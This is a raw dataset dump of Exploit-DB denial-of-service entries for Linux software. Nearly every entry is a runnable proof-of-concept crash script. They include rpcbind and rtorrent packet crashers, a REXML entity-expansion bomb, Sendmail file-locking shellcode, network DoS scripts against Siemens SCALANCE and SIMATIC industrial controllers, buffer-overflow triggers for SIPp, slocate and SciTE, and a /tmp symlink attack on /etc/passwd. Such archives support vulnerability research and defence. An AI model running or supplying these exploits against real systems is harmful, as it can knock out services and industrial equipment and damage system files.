deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17463
Description: Rhythmbox - '.m3u' Local Crash (PoC)
Type: dos
Platform: linux
Date: 2011-06-30
Author: Caddy-Dz

Exploit:
####
# Exploit Title: Rhythmbox (.m3u) Local Crash Poc
# Vendor: http://projects.gnome.org/rhythmbox/
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia@hotmail.com  |  Caddy-Dz@exploit-id.com
# Website: www.exploit-id.com
# Category:: webapps
# Tested on: [Ubuntu 10.10 - French]
####

# Note ! : Rhythmbox Is Allready installed on Ubuntu
# Applications => Son et Vidéo => Lecteur de musique Rhythmbox



#!/usr/bin/perl

my $bof="\x41" x 10000;
open (FILE,">> Caddy-Dz.M3U");
print FILE $bof;
close (FILE);


####

[+] Peace From Algeria

####

=================================**Algerians Hackers**=======================================|
# Greets To :                                                                                |
  KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T ,               |
  All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (09exploit.com) ,                 |
  All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , | 
  RmZ ...others                                                                              |
============================================================================================ |
Exploit-DB #39747
Description: Rough Auditing Tool for Security (RATS) 2.3 - Array Out of Block Crash
Type: dos
Platform: linux
Date: 2016-04-29
Author: David Silveiro

Exploit:
# Exploit Title: RATS 2.3 Array Out of Block Crash
# Date: 29th April 2016
# Exploit Author: David Silveiro
# Author Contact: twitter.com/david_silveiro
# Website: Xino.co.uk
# Software Link: https://code.google.com/archive/p/rough-auditing-tool-for-security/downloads
# Version: RATS 2.3
# Tested on: Ubuntu 14.04 LTS
# CVE : 0 day

from os import system


def crash():


    with open('crash.c', 'w') as file:
        file.write("char g [MAX_SIZE];") # Out of Block array, causes crash

    try:
        com = ('rats -w3 --xml crash.c')
        return system(com)

    except:
        print("Is RATS installed?")


def main():

    print("Author:   David Silveiro                      ")
    print("Website:  Xino.co.uk                          ")
    print("Title:    RATS 2.3 Array Out Of Block Crash \n")

    crash()


if __name__ == "__main__":
    main()
Exploit-DB #39733
Description: Rough Auditing Tool for Security (RATS) 2.3 - Crash (PoC)
Type: dos
Platform: linux
Date: 2016-04-25
Author: David Silveiro

Exploit:
# Exploit Title: RATS 2.3 Crash POC
# Date: 25th April 2016
# Exploit Author: David Silveiro
# Author Contact: twitter.com/david_silveiro
# Website: Xino.co.uk
# Software Link: https://code.google.com/archive/p/rough-auditing-tool-for-security/downloads
# Version: RATS 2.3
# Tested on: Ubuntu 14.04 LTS
# CVE : 0 day

from shlex import split
from os import system


def crash():

    try:
        com = ('rats --AAAA')
        return system(com)
    
    except:
        print("Is RATS installed?")


def main():

    print("Author:   David Silveiro        ")
    print("Website:  Xino.co.uk            ")
    print("Title:    POC RATS v2.3 Crash \n")

    crash()


if __name__ == "__main__":
    main()
Exploit-DB #26887
Description: rpcbind - CALLIT procedure UDP Crash (PoC)
Type: dos
Platform: linux
Date: 2013-07-16
Author: Sean Verity

Exploit:
#!/usr/bin/ruby
#
#	rpcbind_udp_crash_poc.rb
#	07/15/2013
#	Sean Verity <veritysr1980 [at] gmail.com>
#	CVE 2013-1950
#
#	rpcbind (CALLIT Procedure) UDP Crash PoC
#	Affected Software Package: rpcbind-0.2.0-19
#
#	Tested on: 
#	Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP) 
#	CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP)
#
#	rpcbind can be crashed by setting the argument length 
#	value > 8944 in an RPC CALLIT procedure request over UDP.
#

require 'socket'

def usage
	abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end

if ARGV.length == 1
	pkt = [rand(2**32)].pack('N')	# XID
	pkt << [0].pack('N')			# Message Type: CALL (0)
	pkt << [2].pack('N')			# RPC Version: 2
	pkt << [100000].pack('N')		# Program: Portmap (100000)
	pkt << [2].pack('N')			# Program Version: 2
	pkt << [5].pack('N')			# Procedure: CALLIT (5)
	pkt << [0].pack('N')			# Credentials Flavor: AUTH_NULL (0)
	pkt << [0].pack('N')			# Length: 0
	pkt << [0].pack('N')			# Credentials Verifier: AUTH_NULL (0)
	pkt << [0].pack('N')			# Length: 0
	pkt << [0].pack('N')			# Program: Unknown (0) 
	pkt << [1].pack('N')			# Version: 1
	pkt << [1].pack('N')			# Procedure: 1
	pkt << [8945].pack('N')			# Argument Length
	pkt << "crash"					# Arguments

	s = UDPSocket.new
	s.send(pkt, 0, ARGV[0], 111)
else
	usage
end
Exploit-DB #41974
Description: RPCBind / libtirpc - Denial of Service
Type: dos
Platform: linux
Date: 2017-05-08
Author: Guido Vranken

Exploit:
#!/usr/bin/ruby
#
# Source: https://raw.githubusercontent.com/guidovranken/rpcbomb/fe53048af2d4fb78c911e71a30f21afcffbbf5e1/rpcbomb.rb
#
# By Guido Vranken https://guidovranken.wordpress.com/
# Thanks to Sean Verity for writing an exploit in Ruby for an earlier
# vulnerability: https://www.exploit-db.com/exploits/26887/
# I've used it as a template.

require 'socket'
def usage
        abort "\nusage: ./rpcbomb.rb <target> <# bytes to allocate> [port]\n\n"
end
bomb = """
                               ` + # ,         
                           : @ @ @ @ @ @       
               @ @ ; . + @ @ @ .       @ @     
                 @ @ @ @ @ `           @ @     
                                 . `   @ #     
                     ; @ @ @ . : @ @ @ @       
                 @ @ @ @ @ @ @ @ @ @ @ ;       
               @ @ @ @ @ @ @ @ @ @ @ @ @ `     
             @ @ @ @ @ @ @ @ @ @ @ @ @ @ :     
           # @ @ @ @ @ @ @ @ @ @ @ @ @ '       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         . @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         + @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
         : @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ @       
           @ @ @ @ @ @ @ @ @ @ @ @ @ @ ,       
             @ @ @ @ @ @ @ @ @ @ @ @ @         
             , @ @ @ @ @ @ @ @ @ @ @           
               ` @ @ @ @ @ @ @ @ @             
                   , @ @ @ @ @  
     r p c b o m b

     DoS exploit for *nix rpcbind/libtirpc.

     (c) 2017 Guido Vranken.

     https://guidovranken.wordpress.com/

"""

puts bomb

if ARGV.length >= 2
    begin
        host = ARGV[0]
        numBytes = Integer(ARGV[1])
        port = ARGV.length == 3 ? Integer(ARGV[2]) : 111
    rescue
        usage
    end

    pkt = [0].pack('N')         # xid
    pkt << [0].pack('N')        # message type CALL
    pkt << [2].pack('N')        # RPC version 2
    pkt << [100000].pack('N')   # Program
    pkt << [4].pack('N')        # Program version
    pkt << [9].pack('N')        # Procedure
    pkt << [0].pack('N')        # Credentials AUTH_NULL
    pkt << [0].pack('N')        # Credentials length 0
    pkt << [0].pack('N')        # Credentials AUTH_NULL
    pkt << [0].pack('N')        # Credentials length 0
    pkt << [0].pack('N')        # Program: 0
    pkt << [0].pack('N')        # Ver
    pkt << [4].pack('N')        # Proc
    pkt << [4].pack('N')        # Argument length
    pkt << [numBytes].pack('N') # Payload

    s = UDPSocket.new
    s.send(pkt, 0, host, port)

    sleep 1.5

    begin
        s.recvfrom_nonblock(9000)
    rescue
        puts "No response from server received."
        exit()
    end

    puts "Allocated #{numBytes} bytes at host #{host}:#{port}.\n" +
        "\nDamn it feels good to be a gangster.\n\n"
else
    usage
end
Exploit-DB #44894
Description: rtorrent 0.9.6 - Denial of Service
Type: dos
Platform: linux
Date: 2018-06-14
Author: ecx86

Exploit:
# Exploit Title: rtorrent 0.9.6 - Denial of Service
# Date: 2018-01-10
# Exploit Author: ecx86
# Vendor Homepage: http://rtorrent.net
# Software Link: https://github.com/rakshasa/rtorrent/releases
# Version: <= 0.9.6
# Tested on: Debian GNU/Linux 9.4 (stretch)

# This crash is due to a bad bencode parse of the handshake data map.
# Specifically, by providing a massive length for a string, namely the key of a map entry,
# malloc fails, returning 0, which is passed to a memcpy call that causes the segfault.
# This can be triggered actively by sending the crash-triggering data to a seeding rtorrent
# client, or when a downloading rtorrent client connects to a malicious peer.

#!/usr/bin/env python
import socket
import struct

crash = ''
proto_name = 'BitTorrent protocol'
crash += chr(len(proto_name)) + proto_name # magic
crash += '00000000' # reserved extension bytes

# sha1 hash of info dictionary
# change this depending on your torrent
crash += '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

crash += '[PII_REDACTED][PII_REDACTED]' # peer id

msg = ''
msg += struct.pack('<H', 20) # message type: extended
msg += 'd[PII_REDACTED][PII_REDACTED][PII_REDACTED]99:' # payload

crash += struct.pack('>I', len(msg))
crash += msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('1.3.3.7', 6890))
s.send(crash)
s.close()
Exploit-DB #32292
Description: Ruby 1.9 - REXML Remote Denial of Service
Type: dos
Platform: linux
Date: 2008-08-23
Author: Luka Treiber

Exploit:
source: https://www.securityfocus.com/bid/30802/info

Ruby is prone to a remote denial-of-service vulnerability in its REXML module.

Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module.

Versions up to and including Ruby 1.9.0-3 are vulnerable. 

#!/usr/bin/env ruby
require 'rexml/document'

doc = REXML::Document.new(<<END)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
  <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
  <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
  <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
  <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
  <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>
END

puts doc.root.text.size
Exploit-DB #14083
Description: Scite Text Editor 1.76 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2010-06-27
Author: kmkz

Exploit:
# Exploit Title: Scite text editor :Local Buffer Overflow (PoC)
# Date: 28/06/2010
# Author: kmkz
# Version: [Scite 1.76 (lastest version)
# Tested on: Linux 2.6.31-22

# Code : Proof of Concept
#!/usr/bin/perl -wU
# 0-Days PoC (Local BoF Scite 1.76)
use strict;
use diagnostics;
use English \'-no_match_vars\';

use constant SUCCESS=>(1);
use constant FAILLURE=>(0);
use constant TARGET_BINARY=>(\"scite\");
use constant PAYLOAD=>(`perl -e \'print \"A\"x4092 . \"\\x90\\x90\\x90\\x90\"\'`);
use constant VERSION =>(\"/usr/share/scite/SciTE.html\");


BEGIN:

if(-e VERSION)
{
foreach(VERSION)
{
my @version_checking=($_=~ //);
@version_checking=split(/W/);

next if !($\' =~ m/1.76/) || warn (\"[*] WARNING: not Scite Version 1.76 \\012\\012\");
}


my $Exploitation=(system( TARGET_BINARY, PAYLOAD));
open (DUMP ,\">> Dump_Scite_Local_BoF_PoC.log\") or warn(\"[-] Can\'t create dump_file\\012\\015\");
printf(DUMP\" [+] This PoC generate a .txt document and crash scite exploiting a local Buffer Overflow (just for example) \\012\\012\\015\");

printf(\"%s\\012\", $Exploitation ) ;

printf(DUMP\"[+] Run in GDB for more information (using this payload):\\012 %s\", PAYLOAD);

close(DUMP);
exit(SUCCESS);
}


else
{
printf(\"[!] %s : MISSING \\012 [!] %s \\012\\012\",VERSION,$!);
exit(FAILLURE);
}
Exploit-DB #31054
Description: SDL_image 1.2.6 - Invalid '.GIF' File LWZ Minimum Code Size Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2008-01-23
Author: Gynvael Coldwind

Exploit:
source: https://www.securityfocus.com/bid/27417/info

The SDL_image library is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. The issue occurs when handling malformed GIF images.

Attackers can leverage this issue to execute arbitrary code in the context of an application using the library. Successful exploits will compromise the application and possibly the underlying computer. Failed attacks will cause denial-of-service conditions.

Versions prior to SDL_image 1.2.7 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31054.gif
Exploit-DB #21476
Description: Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1)
Type: dos
Platform: linux
Date: 2002-05-24
Author: zillion

Exploit:
/*
source: https://www.securityfocus.com/bid/4822/info

Sendmail is a MTA for Unix and Linux variants.

There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation. 
*/

/*

FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at http://www.safemode.org && http://www.snosoft.com)

More info: http://www.sendmail.org/LockingAdvisory.txt

*/

char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80"
        "\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
        "\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c"
        "\x69\x61\x73\x65\x73\x2e\x64\x62";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
Exploit-DB #21477
Description: Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2)
Type: dos
Platform: linux
Date: 2002-05-24
Author: zillion

Exploit:
// source: https://www.securityfocus.com/bid/4822/info
 
Sendmail is a MTA for Unix and Linux variants.
 
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation. 

#include <fcntl.h>
#include <unistd.h>

/*

Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.

More info: http://www.sendmail.org/LockingAdvisory.txt

zillion (at safemode.org && snosoft.com)
http://www.safemode.org
http://www.snosoft.com

*/

int main() {

  if(fork() == 0) {

    char *lock1 = "/etc/mail/aliases";
    char *lock2 = "/etc/mail/aliases.db";
    char *lock3 = "/var/log/sendmail.st";

    int fd;
    fd = open(lock1,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock2,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock3,O_RDONLY);
    flock(fd,0x02);

    /* We are here to stay! */

    for(;;) {}

  }
}
Exploit-DB #44721
Description: Siemens SCALANCE S613 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2018-05-23
Author: t4rkd3vilz

Exploit:
 # Exploit Title: Siemens SCALANCE S613 - Remote Denial of Service 
# Date: 2018-05-23
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SCALANCE S613 (MLFB: 6GK5613-0BA00-2AA3): All versions.
# Tested on: Kali Linux
# CVE: CVE-2016-3963

#!/usr/bin/python

import socket import sys if len(sys.argv) < 2: print('Usage: ' +
sys.argv[0] + ' [target]') sys.exit(1) print('Sending packet to ' +
sys.argv[1] + ' ...') payload = bytearray('11 49 00 00 00 00 00 00 00 00 00
00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) sock =
socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.sendto(payload,
(sys.argv[1], 5000000))
Exploit-DB #44693
Description: Siemens SIMATIC S7-1500 CPU - Remote Denial of Service
Type: dos
Platform: linux
Date: 2018-05-22
Author: t4rkd3vilz

Exploit:
# Exploit Title: Siemens SIMATIC S7-1500 CPU - Remote Denial of Service
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-22
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1500 CPU all versions before V1.6
# Tested on: Kali Linux
# CVE: CVE-2014-5074


#!/usr/bin/python

import socket import sys from time import sleep if
len(sys.argv) != 2: print "Usage: exploit.py <ip>" sys.exit(0) for x in
range(1,50): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#vulnerable TCP port 102 connect=s.connect((str(sys.argv[1]), 102))
s.send('some evil string \r\n\n') print "bufff " + str(x) + " sent...\n"
result=s.recv(1024) print result s.close() sleep(7)
Exploit-DB #44802
Description: Siemens SIMATIC S7-300 CPU - Remote Denial of Service
Type: dos
Platform: linux
Date: 2018-05-30
Author: t4rkd3vilz

Exploit:
# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-30
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-300 CPU family: all versions.
# Tested on: Kali Linux
# CVE: CVE-2015-2177

#!/usr/bin/python
import socket

target_address="TargetIP"
target_port=80

buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
Exploit-DB #29716
Description: Silc Server 1.0.2 - New Channel Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-03-06
Author: Frank Benkstein

Exploit:
source: https://www.securityfocus.com/bid/22846/info

SILC Server is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected server, effectively denying service to legitimate users.

This issue affects version 1.0.2; other versions may also be affected.

The following proof of concept demonstrates this issue:

connect yourserver
join nonexistent -hmac nonexistent
Exploit-DB #45750
Description: SIPp 3.3.990 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2018-10-30
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: SIPp 3.3.990 - Local Buffer Overflow (PoC)
# Date: 2018-10-29
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: http://sipp.sourceforge.net/
# Software Link:
https://sourceforge.net/projects/sipp/files/sipp/3.4/sipp-3.3.990.tar.gz/download
<https://github.com/SIPp/sipp/releases>
# Version: SIPp v3.4-beta1 (aka v3.3.990)-SCTP-PCAP built Oct 29 2018
# Tested on: 3.3.990

$ ./sipp -trace_logs $(python -c 'print "A"*300')



$ ./sipp -message_file $(python -c 'print "A"*300')



$ ./sipp -calldebug_file $(python -c 'print "A"*300')



$ ./sipp -trace_err $(python -c 'print "A"*300')
Exploit-DB #44962
Description: SIPp 3.6 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2018-07-02
Author: Fakhri Zulkifli

Exploit:
# Exploit Title: SIPp 3.6 - Local Buffer Overflow (PoC)
# Date: 2018-06-30
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: http://sipp.sourceforge.net/ 
# Software Link: https://github.com/SIPp/sipp/releases 
# Version: 3.6-dev and earlier
# Tested on: 3.6-dev

$ ./sipp -3pcc `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x668d06 in main /home/user/sipp/src/sipp.cpp:1531:17
#2 0x7ff5ec21282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)

$ ./sipp -i `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x66a303 in main /home/user/sipp/src/sipp.cpp:1477:17
#2 0x7f281302682f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)

$ ./sipp -log_file `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x66912f in main /home/user/sipp/src/sipp.cpp:1706:17
#2 0x7f6ca663782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)
Exploit-DB #185
Description: Slackware Linux - '/usr/bin/ppp-off' Insecure /tmp Call
Type: dos
Platform: linux
Date: 2000-11-17
Author: sinfony

Exploit:
#!/bin/sh
#
# In SlackWare Linux the script /usr/bin/ppp-off writes the
# output of 'ps x' to /tmp/grep.tmp. Since root is the user
# that runs ppp-off,  a non-privileged  user could create a
# link from /tmp/grep.tmp to any file(ie: /etc/issue), thus
# when root runs the  ppp-off script, the  output of 'ps x'
# would be put in the linked file. 
#                                                   sinfony

ln -s /etc/passwd /tmp/grep.tmp


# milw0rm.com [2000-11-17]
Exploit-DB #22197
Description: slocate 2.5/2.6 - Local Buffer Overrun
Type: dos
Platform: linux
Date: 2003-01-24
Author: USG team

Exploit:
source: https://www.securityfocus.com/bid/6676/info

A vulnerability has been discovered in slocate. It has been reported that a buffer overrun occurs when running the slocate program with command line arguments of excessive length. Specifically, it is possible to overrun a buffer in slocate by supplying excessive data as the regex ('-r') and parse /etc/updatedb.conf ('-c') command line options. 

By exploiting this issue to overwrite an instruction pointer an attacker may gain the ability to execute arbitrary instructions. As slocate is typically installed setgid, all commands executed by the attacker will be run with the elevated group privileges.

*** Conflicting details have been released which provide information reporting that the issue described is not a buffer overflow. Furthermore, the programming error that occurs may not be a security issue and thus not exploitable.

/usr/bin/slocate -c `perl -e "print 'A' x 1024"` -r `perl -e "print 'A' x 1024"`
Exploit-DB #18692
Description: SnackAmp 3.1.3 - '.aiff' Denial of Service
Type: dos
Platform: linux
Date: 2012-04-01
Author: Ahmed Elhady Mohamed

Exploit:
SnackAmp 3.1.3 Malicious aiff File Denial of service
===================================================================================
# Exploit Title:SnackAmp 3.1.3 Malicious aiff File Denial of service
# Download link :http://sourceforge.net/projects/snackamp/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 3.1.3
# Category: DOS
# Tested on: ubuntu 11.4 
===================================================================================

File.open "crash1.aiff" , "w" do |file|

buffer = "A" * 10000

file.puts buffer
end